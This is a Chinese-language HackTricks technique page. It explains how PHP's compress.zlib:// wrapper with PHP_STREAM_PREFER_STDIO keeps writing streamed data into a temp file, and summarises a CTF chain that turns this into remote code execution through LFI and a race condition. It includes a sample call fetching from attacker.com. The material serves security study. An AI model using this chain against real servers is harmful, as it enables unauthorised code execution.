4.8 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
compress.zlib://
和PHP_STREAM_PREFER_STDIO
使用协议compress.zlib://
和标志PHP_STREAM_PREFER_STDIO
打开的文件可以继续将后续到达的数据写入同一文件。
这意味着可以执行以下调用:
file_get_contents("compress.zlib://http://attacker.com/file")
将发送一个请求,请求的URL为http://attacker.com/file,然后服务器可能会以有效的HTTP响应回复该请求,并保持连接打开,随后一段时间发送额外的数据,这些数据也会被写入文件中。
您可以在php-src代码的main/streams/cast.c部分中看到这些信息。
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
竞争条件到远程命令执行(Race Condition to RCE)
这个CTF是通过使用之前的技巧解决的。
攻击者将使受害者服务器打开一个连接,从攻击者的服务器上读取一个文件,使用**compress.zlib
**协议。
在这个连接存在的同时,攻击者将泄露创建的临时文件的路径(服务器泄露)。
在连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件**。
然而,Web服务器中有一个检查,防止加载包含<?
的文件。因此,攻击者将滥用竞争条件。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含禁止字符之后,但在加载其内容之前,发送PHP有效载荷。
有关竞争条件和CTF的更多信息,请查看https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。